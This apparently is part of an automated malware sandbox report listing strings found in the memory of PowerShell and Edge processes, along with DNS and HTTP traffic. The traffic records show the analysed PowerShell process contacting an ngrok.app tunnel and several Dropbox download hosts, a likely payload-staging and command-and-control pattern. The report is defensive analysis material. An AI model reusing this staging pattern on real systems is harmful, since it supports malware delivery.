https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .dropbox.com ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; base-uri 'self' ; frame-ancestors 'self' https://.dropbox.com ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https:// data: blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; font-src https://* data: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: frame-ancestors 'self' https://.dropbox.com ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; base-uri 'self' ; frame-ancestors 'self' https://.dropbox.com ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https:// data: blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; font-src https://* data: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; base-uri 'self' ; frame-ancestors 'self' https://.dropbox.com ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https:// data: blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; media-src https://* blob: ; font-src https://* data: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: frame-ancestors 'self' https://.dropbox.com ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; frame-ancestors 'self' https://.dropbox.com ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; img-src https:// data: blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Content-Length: 207Content-Type: text/html; charset=utf-8Date: Tue, 17 Dec 2024 11:13:20 GMTServer: Werkzeug/3.0.3 Python/3.12.8Connection: close

Source: powershell.exe, 00000010.00000002.2876110731.00000169AC718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
